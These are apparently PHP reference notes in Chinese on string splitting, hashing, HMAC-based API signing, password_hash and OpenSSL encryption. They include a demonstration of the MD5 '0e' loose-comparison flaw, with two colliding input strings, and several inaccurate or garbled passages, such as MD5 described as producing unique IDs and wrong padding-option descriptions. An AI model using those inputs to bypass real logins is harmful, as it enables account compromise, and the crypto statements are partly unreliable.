通过一个正则表达式分隔字符串,返回一个使用pattern边界分隔subject后得到的子串组成的数组
$limit参数限制分隔得到的子串最多只有limit个,最后一个子串将包含所有剩余部分。limit值为-1、0或null时都代表"不限制",作为php的标准可以使用null跳过对flags的设置。
$flags参数可以是任何下面标记的组合(以位或运算|组合):
PREG_SPLIT_NO_EMPTY: 返回分隔后的非空部分。
PREG_SPLIT_DELIM_CAPTURE: 用于分隔的模式中的括号表达式将被捕获并返回。
PREG_SPLIT_OFFSET_CAPTURE: 对于每一个出现的匹配返回时将会附加字符串偏移量,这将会改变返回数组中的每一个元素,使其每个元素成为一个由第0 个元素为分隔后的子串,第1个元素为该子串在subject中的偏移量组成的数组
// 使用逗号或空格(包含" ", \r, \t, \n, \f)分隔短语
$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords); // ["hypertext", "language", "programming"]
// 将一个字符串分隔为组成它的字符
$str = 'runoob';
$chars = preg_split('//', $str, -1, PREG_SPLIT_NO_EMPTY);
print_r($chars); // ["r","u","n","o","o","b"]
// 分隔一个字符串并获取每部分的偏移量
$str = 'hypertext language programming';
$chars = preg_split('/ /', $str, -1, PREG_SPLIT_OFFSET_CAPTURE);
print_r($chars); // [["hypertext", 0], ["language", 10], ["programming", 19]]
【 strtok() 】
strtok ( string $str, string $token ) : string
strtok ( string $token ) : string
把字符串分割为更小的字符串(标记),返回字符串标记
$string = "Hello world. Beautiful day today.";
$token = strtok($string, " "); // 仅在第一次调用时使用string参数,调用一次分割一次
var_dump($token); // string(5) "Hello"
while ($token !== false){
echo "$token\n"; // Hello world. Beautiful day today.
$token = strtok(" "); // 第二次自动定位
}
【 explode() 】
explode ( string $delimiter ,string $string [,int $limit ] ): array
使用一个字符串分割另一个字符串为数组,返回由字符串组成的数组,每个元素都是string的子串,它们被字符串delimiter作为边界点分割出来
delimiter参数表示边界上的分隔字符,规定在哪里分割字符串。
如果delimiter为空字符串""则返回FALSE。如果delimiter所包含的值在string中找不到,并且使用了负数的limit,那么会返回空的array,否则返回包含string单个元素的数组
string参数表示输入的字符串。
limit参数: 规定返回数组元素的个数
0:一个元素;
正:包含最多limit个数的元素数组,最后那个元素将包含string的剩余部分;
负:返回除最后的-limit个元素外的所有元素的数组
分割中文字符串为数组
$str = "hello钓鱼岛是中国的";
preg_split('/(? h [1] => e [2] => l [3] => l [4] => o [5] => 钓 [6] => 鱼 [7] => 岛 [8] => 是 [9] => 中 [10] => 国 [11] => 的)
preg_match_all('/[\x{4e00}-\x{9fa5}]/u',$str,$arr);
print_r($arr[0]); // Array ( [0] => 钓 [1] => 鱼 [2] => 岛 [3] => 是 [4] => 中 [5] => 国 [6] => 的 )
$topictitle="沙漠骆驼";
$length = mb_strlen($topictitle, 'utf-8');
$titlearray = [];
for ($i=0; $i < $length; $i++) $titlearray[] = mb_substr($topictitle, $i, 1, 'utf-8');
return $titlearray;
由于历史原因,虽然implode()可以接收两种参数顺序,但explode()不行,必须保证separator参数在string参数之前才行。
自定义多个分隔符
【 join() 】
同implode()
【 implode() 】
string implode ( string $glue ,array $pieces )
string implode ( array $pieces )
用glue将一维数组的值拼接为一个字符串
glue参数规定在数组元素间放置的内容,默认空的字符串""
pieces参数表示想要转换的数组。
【 parse_str() 】
parse_str(string,array)
把查询字符串 $_SERVER['QUERY_STRING'] 解析到变量中,参数array可选,规定存储变量的数组的名称,指示变量将被存储到数组中
如果未设置array参数,则由该函数设置的变量将覆盖已存在的同名变量
所有创建的变量或在设置第二个参数的情况下返回数组里的值都已经urldecode()了
parse_str("name=Bill&age=12");
echo $name."-".$age;
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
parse_str('foo=1&foo=2&foo=3');
$foo = array('foo' => '3');
parse_str('foo[]=1&foo[]=2&foo[]=3');
$foo = array('foo' => array('1', '2', '3') );
$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz
// 不建议这么用
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
由于PHP的变量名不能带点和空格,所以它们会被转化成下划线
parse_str("My Value=Something");
echo $My_Value; // Something
parse_str("My Value=Something", $output);
echo $output['My_Value']; // Something
【 mb_parse_str() 】
mb_parse_str ( string $encoded_string , array &$result = ? ) : bool
解析GET数据,解析了URL编码过的数据,检测其编码,并转换编码为内部编码,然后设置其值为array的result或全局变量。
成功时返回true,或者在失败时返回false
string算法
PHP支持的Hash算法
print_r(hash_algos());
Array (
[0] => md2 [1] => md4 [2] => md5
[3] => sha1 [4] => sha224 [5] => sha256 [6] => sha384 [7] => sha512/224 [8] => sha512/256 [9] => sha512 [10] => sha3-224 [11] => sha3-256 [12] => sha3-384 [13] => sha3-512
[14] => ripemd128 [15] => ripemd160 [16] => ripemd256 [17] => ripemd320 [18] => whirlpool
[19] => tiger128,3 [20] => tiger160,3 [21] => tiger192,3 [22] => tiger128,4 [23] => tiger160,4 [24] => tiger192,4
[25] => snefru [26] => snefru256 [27] => gost [28] => gost-crypto [29] => adler32 [30] => crc32 [31] => crc32b [32] => fnv132 [33] => fnv1a32 [34] => fnv164 [35] => fnv1a64 [36] => joaat
[37] => haval128,3 [38] => haval160,3 [39] => haval192,3 [40] => haval224,3 [41] => haval256,3 [42] => haval128,4 [43] => haval160,4 [44] => haval192,4 [45] => haval224,4 [46] => haval256,4 [47] => haval128,5 [48] => haval160,5 [49] => haval192,5 [50] => haval224,5 [51] => haval256,5
)
$data = "我们来测试一下Hash算法!";
foreach (hash_algos() as $v) {
$r = hash($v, $data);
echo $v, ':', strlen($r), '::', $r, PHP_EOL;
}
// md2:32::3d63d5f6ce9f03379fb3ae5e1436bf08
// md4:32::e9dc8afa241bae1bccb7c58d4de8b14d
// md5:32::2801b208ec396a2fc80225466e17acac
// sha1:40::0f029efe9f1115e401b781de77bf1d469ecee6a9
// sha224:56::3faf937348ec54936be13b63feee846d741f8391be0a62b4d5bbb2c8
// sha256:64::8f0bbe9288f6dfd2c6d526a08b1fed61352c894ce0337c4e432d97570ae521e3
// sha384:96::3d7d51e05076b20f07dad295b161854d769808b54b784909901784f2e76db212612ebe6fe56c6d014b20bd97e5434658
// ……
foreach (hash_hmac_algos() as $v) {
$r = hash_hmac($v, $data, 'secret');
echo $v, ':', strlen($r), '::', $r, PHP_EOL;
}
// md2:32::70933e963edd0dcd4666ab9253a55a12
// md4:32::d2eda43ee4fab5afc067fd63ae6390f1
// md5:32::68bf5963e1426a1feff8149da0d0b88d
// sha1:40::504bc44704b48ac75435cdccf81e0f056bac98ba
// sha224:56::8beaf35baedc2cd5725c760ec77d119e3373f14953c74818f1243f69
// sha256:64::23f2e6685fe368dd3ebe36e1d3d672ce8306500366ba0e8a19467c94e13ddace
// sha384:96::740ce7488856737ed57d7b0d1224d053905661ffca083c02c6a9a9230499a4a3d96ff0a951b8d03dbafeeeb5c84a65a6
// ……
使用hash()和hash_hmac()函数来对数据进行Hash加密并查看它们的内容就可以发现每种算法都能够成功返回不同的加密信息摘要,而且有不同的位数。
hmac相关的函数是PHP的Hash算法中的另一种形式,它是一个需要密钥的算法,也就是hash_hmac()的第三个参数。只有输入内容相同并且密钥也相同的内容返回的结果才会是一样的。也就是说,这个函数可以用于对称加密的信息传递验证token来使用,比如两个系统之间的接口互通如果需要一个固定token的,就可以使用这个函数来实现。
【 password_hash() 】
(PHP 5 >= 5.5.0, PHP 7)
password_hash ( string $password , int $algo [, array $options ] ) : string
给密码加密,使用足够强度的单向散列算法创建密码的散列(hash),兼容crypt(),所以crypt()创建的密码散列也可用于password_hash()
当前支持的算法:
PASSWORD_DEFAULT - 使用bcrypt算法(PHP5.5.0默认),该常量会随PHP加入更新更高强度的算法而改变,所以用此常量生成结果的长度将在未来有变化,因此数据库里储存结果的列可超过60个字符(最好是255个字符)。
PASSWORD_BCRYPT - 使用CRYPT_BLOWFISH算法创建散列,这会产生兼容使用"$2y$"的crypt(),结果将会是60个字符的字符串,或者在失败时返回FALSE
PASSWORD_ARGON2I - 使用Argon2散列算法创建散列。
PASSWORD_BCRYPT支持的选项:
1、salt(string)
手动提供散列密码的盐值(salt),这将避免自动生成盐值(salt),省略此值后password_hash()会为每个密码散列自动生成随机的盐值,这种操作是有意的模式
盐值(salt)选项从PHP 7.0.0开始被废弃(deprecated)了,现在最好选择简单的使用默认产生的盐值。
2、cost (integer) - 代表算法使用的cost,省略时默认值是10,这个cost是个不错的底线,但也许可以根据自己硬件的情况,加大这个值。
PASSWORD_ARGON2I支持的选项:
1、memory_cost (integer) - 计算 Argon2 散列时的最大内存(单位: 字节 byte)。默认值: PASSWORD_ARGON2_DEFAULT_MEMORY_COST。
2、time_cost (integer) - 计算 Argon2 散列时最多的时间。默认值: PASSWORD_ARGON2_DEFAULT_TIME_COST。
3、threads (integer) - 计算 Argon2 散列时最多的线程数。默认值: PASSWORD_ARGON2_DEFAULT_THREADS。
参数
password: 用户的密码。
Caution: 使用PASSWORD_BCRYPT做算法,将使password参数最长为72个字符,超过会被截断。
algo: 一个用来在散列密码时指示算法的密码算法常量。
options: 一个包含有选项的关联数组。目前支持两个选项: salt在散列密码时加的盐(干扰字符串),cost用来指明算法递归的层数,省略后将使用随机盐值与默认cost
返回值
返回散列后的密码,失败时返回FALSE
使用的算法、cost和盐值作为散列的一部分返回,所以验证散列值的所有信息都已经包含在内,这使password_verify()函数验证时不需要额外储存盐值或者算法的信息
md5(password, salt)需要在数据库存储MD5加密之后的密码和盐
// 使用默认算法散列密码,当前是BCRYPT,并会产生60个字符的结果,随时间推移,默认算法可能会有变化,所以需要储存的空间能够超过60字(255字不错)
echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT); // $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a
// password_hash()手动设置cost,为BCRYPT增加cost到12,将始终产生60个字符。
$options = [ 'cost' => 12 ];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options); // $2y$12$QjSH496pcT5CEbzjD/vtVeH03tfHKFy36d4J0Ltp3lRtee9HDxY3K
【 password_verify 】
(PHP 5 >= 5.5.0, PHP 7)
password_verify ( string $password , string $hash ) : bool
验证密码是否和指定的散列值匹配,password_hash()返回的散列包含了算法、cost和盐值,因此所有需要的信息都包含内,使得验证函数不需要储存额外盐值等信息即可验证哈希
时序攻击(timing attacks)对此函数不起作用。
参数
password: 用户的密码
hash: 一个由password_hash()创建的散列值
$hash = password_hash('rasmuslerdorf', PASSWORD_DEFAULT); // $2y$10$nQqQWL.uqU4nnQ8kf7LtCeWc/ulygW.5D.oqVVUB8Z9LW55l90G5S
if (!password_verify('rasmuslerdorf', $hash)) echo 'Invalid password.';
【 md5() 】
string md5 ( string $str [,bool $raw_output = false ] )
以32字符十六进制数字形式返回字符串的MD5散列值,默认false规定输出32字符十六进制数,TRUE原始16字符二进制格式
使用RSA数据安全,包括MD5报文摘要算法;MD5算法主要是为数字签名应用程序而设计的,可用于生成绝对唯一的ID
$str = 'apple';
if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
echo "Would you like a green or red apple?";
}
js的md5()
var md5 = require('./md5.js');
var accessToken = md5.hex_md5(data.token + data.time); // 对accessToken进行md5加密,服务端存储token和time字段
var sign = accessToken + '-' + data.token; // 签名 = md5(accessToekn + time) + '-' + 'accessToekn';
uni.setStorage({ key:"sign", data:sign }); // 记录在本地
md5加密漏洞
比较哈希字符串时php程序把每一个以"0x"开头的哈希值都解释为科学计数法0的多少次方,恒为0
所以如果两个不同的密码经过哈希以后,其哈希值都是以"0e"开头的,那么php将会认为他们相同。
另外md5加密是有几率两个字符串不同,但加密后的值是相同的情况,这种情况称为哈希碰撞
如果一个网站的某个用户密码加密后刚好是0e开头的,这个时候黑客过来破解,很容易就攻入了
$str1 = 's878926199a';
$str2 = 's214587387a';
var_export([
'md5_str1' => md5($str1),
'md5_str2' => md5($str2),
'bool' => md5($str1) == md5($str2)
]);
array ( 'md5_str1' => '0e545993274517709034328855841020', 'md5_str2' => '0e848240448830537924465865611904', 'bool' => true, )
【 md5_file() 】
md5_file($file,true/false)
计算文件的MD5散列,参数同md5
$md5file = md5_file("2.txt");
file_put_contents("1.txt",$md5file); // 将2.txt的MD5散列存储在1.txt中
$md5file = file_get_contents("1.txt"); // 检测2.txt是否已更改
if(md5_file(2.txt) != $md5file){
echo ""the file is changed;
}
【 sha1() 】
string sha1 ( string $str [,bool $raw_output = false ] )
计算字符串的SHA-1散列
raw_output=TRUE表示原始20字符二进制输出格式,默认FALSE表示40字符十六进制数输出格式
sha1('shanghai') -> b99463d58a5c8372e6adbdca867428961641cb51
sha1('shanghai',true) -> 箶c諍\價姝绞唗(�A薗
【 sha1_file() 】
string sha1_file ( string $filename [,bool $raw_output = FALSE ] )
计算文件的sha1散列值,该散列值是一个40字符长度的十六进制数字
参数raw_output如果被设置为TRUE,sha1摘要将以20字符长度的原始格式返回
【 str_rot13($str) 】
函数对字符串执行ROT13编码,ROT13编码把每一个字母在字母表中向前移动13个字母,数字和非字母字符保持不变,编码和解码都是由相同的函数完成的
【 hash() 】
string hash ( string $algo ,string $data [,bool $raw_output = FALSE ] )
生成哈希值(消息摘要)
algo参数:要使用的哈希算法,例如"md5","sha256","haval160,4"等
data参数:要进行哈希运算的消息。
raw_output参数:为TRUE则返回原始二进制数据表示的信息摘要,否则返回16进制小写字符串格式表示的信息摘要
echo hash('ripemd160','The quick brown fox jumped over the lazy dog.'); // ec457d0a974c48d5685a7efa03d137dc8bbde7e3
echo hash('md5', '我们来测试一下Hash算法!'), PHP_EOL; // 2801b208ec396a2fc80225466e17acac
echo md5('我们来测试一下Hash算法!'), PHP_EOL; // 2801b208ec396a2fc80225466e17acac
echo hash('sha1', '我们来测试一下Hash算法!'), PHP_EOL; // 0f029efe9f1115e401b781de77bf1d469ecee6a9
echo sha1('我们来测试一下Hash算法!'), PHP_EOL; // 0f029efe9f1115e401b781de77bf1d469ecee6a9
echo hash('fnv164', '我们来测试一下Hash算法!'), PHP_EOL; // b25bd7371f08cea4
【 hash_file() 】
string hash_file ( string $algo ,string $filename [,bool $raw_output = FALSE ] )
使用给定文件的内容生成哈希值
// 创建一个要计算哈希值的文件
file_put_contents('example.txt','The quick brown fox jumped over the lazy dog.');
echo hash_file('md5','example.txt'); // 5c6ffbdd40d9556b73a21e63c3e0e904
【 hash_hmac() 】
HMAC-SHA1签名算法是最常用的签名验权算法
使用HMAC方法生成带有密钥的哈希值,能将HMAC和一部分哈希加密算法相结合起来实现HMAC-SHA1、HMAC-SHA256、HMAC-MD5等算法
string hash_hmac(string $algo,string $data,string $key [,bool $raw_output=FALSE])
algo参数: 要使用的哈希算法名称如"md5"、"sha1"、sha256"等,支持的算法见hash_hmac_algos(),algo指定不受支持的算法则返回FALSE
data参数: 要进行哈希运算的消息。
key参数: 使用HMAC生成信息摘要时所使用的密钥。
raw_output参数: 为TRUE则返回原始二进制数据表示的信息摘要,否则返回16进制小写字符串格式表示的信息摘要。
var_dump(hash_hmac('ripemd160','hi,this is a test string','secret')); // string '642aea19e50b7aaacd2ec9ce0dc9c3fe1332701d' (length=40)
var_dump(hash_hmac('sha1','hi,this is a test string','secret')); // string 'eac1d57a53f8a66f2426da44420ac2e65faa5338' (length=40)
var_dump(hash_hmac('md5','hi,this is a test string','secret')); // string '11952d5ba2bbeacd56ba5d09e507460e' (length=32)
应用
最流行的接口签名方式是采用hash_hamc('sha1')方法;
1、将Accesskey(公钥)和Secretkey(私钥)简称ak和sk,告知客户端或接口调用者
2、按照接口提供方的要求,提取出需要加密的消息串,比如uri;
3、通过hash_hamc('sha1',uri,Secretkey);得到签名;
3'、一般接口提供方都会要求对加密串进行base64urlencode,防止签名串被特殊字符分割,导致验证无法通过。
4、将签名注入http协议头中;$headerArr[] ='accessToken:'.$akey.":".$ret;
5、发送请求即可。
hmac原理
计算HMAC需要一个散列函数hash(md5或sha-1)和一个密钥key。用L表示hash函数输出字符串长(md5是16),用B表示数据块的长度(md5和sha-1的分割数据块长都是64)。密钥key的长度可以小于等于数据块长B,如果大于数据块长度,可以使用hash函数对key进行转换,结果就是一个L长的key。
根据RFC 2316(Report of the IAB,April 1998),HMAC(散列消息身份验证码: Hashed Message Authentication Code)以及IPSec被认为是Interact安全的关键性核心协议。它不是散列函数,而是采用了将MD5或SHA1散列函数与共享机密密钥(与公钥/私钥对不同)一起使用的消息身份验证机制。基本来说,消息与密钥组合并运行散列函数。然后运行结果与密钥组合并再次运行散列函数。这个128位的结果被 截断成96位,成为MAC
然后创建两个B长的不同字符串:
innerpad = 长度为B的 0×36
outterpad = 长度为B的 0×5C
计算输入字符串str的HMAC:
hash(key ^ outterpad,hash(key ^ innerpad,str))
hmac的应用
hmac主要应用在身份验证中,使用方法:
1. 客户端发出登录请求(假设是浏览器的GET请求)
2. 服务器返回一个随机值,并在会话中记录这个随机值
3. 客户端将该随机值作为密钥,用户密码进行hmac运算,然后提交给服务器
4. 服务器读取用户数据库中的用户密码和步骤2中发送的随机值做与客户端一样的hmac运算,然后比较用户发送的结果,结果一致则验证用户合法
在这个过程中可能遭到安全攻击的是服务器发送的随机值和用户发送的hmac结果,而对于截获了这两个值的黑客而言这两个值是没有意义的,绝无获取用户密码的可能性,随机值的引入使hmac只在当前会话中有效,大大增强了安全性和实用性。大多数的语言都实现了hmac算法,比如php的mhash、python的hmac.py、java的MessageDigest类,在web验证中使用hmac也是可行的,用js进行md5运算的速度也是比较快的。
1、md5(md家族)
Message Digest Algorithm缩写为MD,消息摘要算法,一种被广泛使用的密码散列函数。
2、sha1(sha家族)
secure hash algorithm缩写为SHA,密码散列函数。能计算出一个数字消息所对应到的,长度固定的字符串(又称消息摘要)的算法,其实也就是常说的加密串长度固定。
md,sha算法之所以称作安全算法基于以下两点:
(1)由消息摘要反推原输入消息,从计算理论上来说是很困难的,不可逆。
(2)想要找到两组不同的消息对应到相同的消息摘要,从计算理论上来说是很困难的。任何对输入消息的变动都会很高概率导致其产生的消息摘要迥异,即加密串碰撞度较低,并且内容有微调,秘钥串生成差异化也很大。
3、hamc
HMAC: 散列消息身份验证码 Hashed Message Authentication Code。它不是散列函数,而是采用了将MD5或SHA1散列函数与共享机密秘钥(与公钥/秘钥对不同)一起使用的消息身份验证机制。消息与秘钥组合并运行散列函数(md5或sha1),然后运行结果与秘钥组合并再次运行散列函数。
目前hmac主要应用在身份验证中,在用户登录传递密码的过程中可以利用,签名来防止密码明文传递。
HMAC-SHA1简要来说就是采用sha1算法,与HMAC机制相结合,制造出更加难以破解的加密串
api接口签名验证
开发过程中经常会与接口打交道,有的时候是调取别人网站的接口,有的时候是为他人提供自己网站的接口,但是在这调取的过程中都离不开签名验证。 在设计签名验证的时候,请注意要满足以下几点: 可变性:每次的签名必须是不一样的。 时效性:每次请求的时效,过期作废等。 唯一性:每次的签名是唯一的。 完整性:能够对传入数据进行验证,防止篡改。 常用验证 举例: /api/login?username=xxx&password=xxx&sign=xxx 发送方和接收方约定一个加密的盐值,进行生成签名。
一、签名参数sign生成的方法 第1步: 将所有参数,除去sign本身及值是空的参数,按参数名字母升序排序。 第2步: 然后把排序后的参数按参数1值1参数2值2…参数n值n(这里的参数和值必须是传输参数的原始值,不能是经过处理的,如不能将& quot;转成"后再拼接)的方式拼接成一个字符串。 第3步: 把分配给接入方的验证密钥key拼接在第2步得到的字符串前面。 第2步: 在上一步得到的字符串前面加上验证密钥key(这里的密钥key是接口提供方分配给接口接入方的),然后计算md5值,得到32位字符串,然后转成大写. 第4步: 计算第3步字符串的md5值(32位),然后转成大写,得到的字符串作为sign的值。 举例: 假设传输的数据是/interface.php?sign=sign_value&p2=v2& p1=v1&method=cancel&p3=&pn=vn(最好通过post方式发送),其中sign参数对应的sign_value就是签名的值。 第一步,拼接字符串,先去除sign参数本身,然后去除值是空的参数p3,剩下p2=v2&p1=v1&method=cancel& amp;pn=vn,再按参数名字符升序排序,method=cancel&p1=v1&p2=v2&pn=vn. 第二步,然后做参数名和值的拼接,最后得到methodcancelp1v1p2v2pnvn 第三步,在上面拼接得到的字符串前加上验证密钥key,假设是abc,得到新的字符串abcmethodcancelp1v1p2v2pnvn 第四步,然后将这个字符串进行md5计算,假设得到的是abcdef,然后转为大写,得到ABCDEF这个值即为sign签名值。 注意,计算md5之前请确保接口与接入方的字符串编码一致,如统一使用utf-8或GBK编码,如果编码方式不一致则计算出来的签名会校验失败。 二、签名验证方法: 根据前面描述的签名参数sign生成的方法规则,计算得到参数的签名值,和参数中通知过来的sign对应的参数值进行对比,如果是一致的,那么就校验通过,如果不一致,说明参数被修改过
【 单向散列加密 】 把任意长的输入串变化成固定长的输出串,并且由输出串难以得到输入串,这种方法称为单项散列加密。 常用算法: MD5、SHA、MAC、CRC 优点 以MD5为例 方便存储: ��密后都是固定大小(32位)的字符串,能够分配固定大小的空间存储。 损耗低: 加密/加密对于性能的损耗微乎其微。 文件加密: 只需要32位字符串就能对一个巨大的文件验证其完整性。 不可逆: 大多数的情况下不可逆,具有良好的安全性。 缺点 存在暴力破解的可能性,最好通过加盐值的方式提高安全性。 应用场景 用于敏感数据,比如用户密码,请求参数,文件加密等。 推荐密码的存储方式 password_hash() 使用足够强度的单向散列算法创建密码的哈希(hash) 【 OpenSSL加密扩展 】 OpenSSL是目前PHP甚至是整个开发圈中的数据加密事实标准,包括HTTPS/SSL在内的加密都是它的实际应用,OpenSSL提供了对称和非对称加密的形式,也就是最普遍的两种加密方式 它和Hash类的加密有什么不同吗?Hash类的加密是单向的不可逆转的加密,加密后的内容是16进制的Hash串,只能通过彩虹表去反推明文内容,所以只要加上盐值或者多套两层加密,就非常难逆向破解出来了,因此Hash加密通常会用于用户的密码保存上,即使数据库泄露了用户密码也依然是安全的。而OpenSSL这种类型的对称/非对称加密则是可以通过某个关键字或者证书来进行正向加密和逆向解密的,原文都是可以得到的 对称和非对称加密 对称加密通常是通过一个 key(密钥) 来对原文进行加密,不管是服务端还是客户端或是其它的任何对端,在两端通信时它们传输的加密内容都必须要使用相同的key来进行加/解密操作。两端都必须同时保存这样一个key,现在不管是web开发还是app开发,代码都是可以反编译查看到源码的。如果使用对称加密的话,key是很容易被获取到的。不过,对称加密的好处是速度非常快,不消耗资源。 非对称加密则是两端持有不同的key,就像平常见到的最多的https证书,就是分别有公钥和私钥这两个概念。一般会使用公钥进行加密,然后使用私钥进行解密,通常公钥都是公开并发送给对方的,而私钥是保存在自己这里的。也就是说,对方发送数据的时候,使用我们给它的公钥将数据进行加密,数据在传输过程中就非常安全,因为中间并没有别人有可以解密这段数据的私钥,直到我们接收到数据后使用自己的私钥进行解密后就得到了原文数据。由于两边的密钥内容并不相同,所以相对于对称加密来说,非对称加密的安全性要高了很多。虽然说非对称加密的算法和复杂度都比对称加密提升了好几个档次,但相对于对称加密的优势,在非对称加密中,速度和性能也就成了它的瓶颈,特别是数据量大的情况下。另外,非对称加密的数学原理是 大数难分解 问题,也就是越大的数越难进行因子分解,如果某个算法能在短时间内破解这个问题的话,那么恭喜你,现代加密算法的基础天花板就被你捅破了。 对称加密常用的算法有:AES、DES、3DES、IDEA、RC2、RC5等,比较常用的是AES和DES 非对称加密常用的算法有:RSA 、Elgamal 、ECC 等,RSA非常常用和普遍,SSL和一些证书算法都是基于RSA 为了系统安全应该怎么办? 有没有折衷的方式来使用这两种加密能力呢?当然有了,并且也是非常经典的一种技术:数字信封。 其实意思非常简单,就是利用这两种加密方式各自的优点。非对称加密的安全性高,但速度慢,而且数据量越大速度越慢,那么我们就用它来加密对称加密的key ,通常这个key不会很大。然后实际的数据实体使用这个对称加密的key来进行对称加密提升速度。这样,我们发送给客户端时,就包括两个内容,一个是非对称加密进行加密的 key ,一个使用对称加密进行加密的数据内容。客户端拿到信息后,首先使用非对称加密的密钥解码出对称加密的key ,然后再使用这个key来解密最终的数据内容 会话密钥就是我们的对称加密算法的密钥key 在PHP中如何实现对称和非对称加密呢?非常简单,使用OpenSSL扩展就可以了。这个扩展也是随PHP源码一起发布的,编译安装的时候加上 --with-openssl 就可以了。当然,它也是需要系统环境中安装 OpenSSL 软件的,在各类操作系统中基本都已经直接有了,如果没有的话就自己安装一下即可。最简单的,在操作系统命令行看看有没有 openssl 命令就可以看出当前系统有没有安装 OpenSSL 相关的软件。 [root@localhost ~]# openssl version OpenSSL 1.1.1 FIPS 11 Sep 2018 【 对称加密 】 同一个密钥可以同时用作数据的加密和解密,这种方法称为对称加密。 常用算法: DES、AES AES是DES的升级版,密钥长度更长,选择更多,也更灵活,安全性更高,速度更快。 优点: 算法公开、计算量小、加密速度快、加密效率高。 缺点: 发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。 应用场景: 相对大一点的数据量或关键数据的加密。 DES是对称性加密里面常见一种,全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法。密钥长度是64位(bit),超过位数密钥被忽略。所谓对称性加密即加密和解密密钥相同,对称性加密一般会按照固定长度,把待加密字符串分成块,不足一整块或刚好最后有特殊填充字符。 跨语言做DES加密解密经常会出现问题,往往是填充方式不对、编码不一致或者加密解密模式没有对应上造成。 常见的填充模式有: pkcs5、pkcs7、iso10126、ansix923、zero。 加密模式有: DES-ECB、DES-CBC、DES-CTR、DES-OFB、DES-CFB AES AES加密类库在网上很容易找得到,php的mcrypt_encrypt和mcrypt_decrypt方法在PHP7.2版本中已经被弃用了,新版本使用openssl_encrypt和openssl_decrypt方法 openssl_encrypt($data, $method, $password, $options, $iv) openssl_decrypt($data, $method, $password, $options, $iv) $data 加密明文 $method 加密方法,DES-ECB、DES-CBC、DES-CTR、DES-OFB、DES-CFB $passwd 加密密钥[密码] $options 数据格式选项(可选),选项有: 0、OPENSSL_RAW_DATA=1、OPENSSL_ZERO_PADDING=2、OPENSSL_NO_PADDING=3 $iv 密初始化向量(可选),如果method为DES−ECB,则method为DES-ECB,则method为DES−ECB,则iv无需填写 openssl_encrypt() 加密数据,它需要原文、算法和密钥三个参数,后面的参数是可选的,但现在是推荐自己来定义iv(向量)参数,所以如果没有iv参数的话会报一个警告信息。使用openssl_cipher_iv_length()获取当前算法需要的iv长度,然后使用openssl_random_pseudo_bytes()函数来生成一个随机的符合算法长度的iv内容。 中间那个0的参数是指定标记的按位或值,它有两个可选常量:OPENSSL_RAW_DATA 和 OPENSSL_ZERO_PADDING ,如果设置为 OPENSSL_RAW_DATA 加密后的数据将按照原样返回(二进制乱码内容),如果设置为 OPENSSL_ZERO_PADDING ,加密后的数据将返回为 base64 之后的内容。 openssl_decrypt() 用于对数据进行解密,需要的参数基本和加密函数一致,只是原文数据换成了加密数据。 从加密解密的过程来看,如果要将这些信息保存在数据库中或进行传输解密时,至少要保存或传输这几个字段,加密使用的iv,加密使用的算法,及AEAD模式的话加密所使用的验证标签,否则数据无法解密。 对称加密算法查询,显示当前环境下所有支持的算法列表 print_r(openssl_get_cipher_methods()); // Array // ( // [0] => AES-128-CBC // [1] => AES-128-CBC-HMAC-SHA1 // [2] => AES-128-CFB // [3] => AES-128-CFB1 // [4] => AES-128-CFB8 // [5] => AES-128-CTR // [6] => AES-128-ECB // [7] => AES-128-OFB // [8] => AES-128-XTS // [9] => AES-192-CBC // [10] => AES-192-CFB // [11] => AES-192-CFB1 // [12] => AES-192-CFB8 // …… // )对称加/解密实现openssl的用法
【 非对称加密 】
需要两个密钥来进行加密和解密,这两个秘钥分别是公钥(public key)和私钥(private key),这种方法称为非对称加密。
常用算法: RSA
优点: 与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
缺点: 加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
应用场景: 适合于对安全性要求很高的场景,适合加密少量数据,比如支付数据、登录数据等。
算法RSA,标准名称SHA1WithRSA,对RSA密钥的长度不限制,推荐使用2048位以上
算法RSA2,标准名称SHA256WithRSA,强制要求RSA密钥的长度至少为2048,RSA2比RSA有更强的安全能力,蚂蚁金服,新浪微博都在使用RSA2算法
1、生成私钥
非对称加密是分别需要一个公钥和一个私钥的,先来生成一个私钥,也就是存放在我们这一端一个密钥。在任何时候私钥都是不能给别人
$config = array(
"private_key_bits" => 4096, // 指定应该使用多少位来生成私钥
);
$res = openssl_pkey_new($config); // 根据配置信息生成私钥,参数可配置项且可选,生成一个私钥句柄,不能直接读取的内容,再使用openssl_pkey_export()提取可输出的字符串
openssl_pkey_export($res, $privateKey); // 将一个密钥的可输出表示转换为字符串
var_dump($privateKey);
// -----BEGIN PRIVATE KEY-----
// MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQDFMLW+9t3fNX4C
// YBuV0ILSyPAdSYVXtE4CLv32OvNk9yQZgF2nL/ZuIbBGRcYo2Hf5B31doGrAFDGu
// NoTR+WA7CBjKROFr/+yValsMFIeiKNtttWMkmBciysDJoEoyd6wjDD+kcHQdoJVo
// ……
// -----END PRIVATE KEY-----
2、抽取公钥,生成公钥
其实公钥是从私钥中抽取出来的,所以使用进行加解密的时候都可以使用私钥或者公钥互相操作。
$publicKey = openssl_pkey_get_details($res); // 抽取公钥信息
var_dump($publicKey);
// array(4) {
// ["bits"]=>
// int(4096)
// ["key"]=>
// string(800) "-----BEGIN PUBLIC KEY-----
// MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtOIImDdS0W0vAr5Ra1+E
// hR2AJwQQwxntYKgTku8EmJRBX2vU+x8th8W8SnoGiVM/sOItG0HIe4Egf1UxoZHt
// gI6r+jpAp7JbTN0sD/VTPDE09F21+hFGjIVBqrkcLPjuEbf7+tjmgAx8cG8WLGId
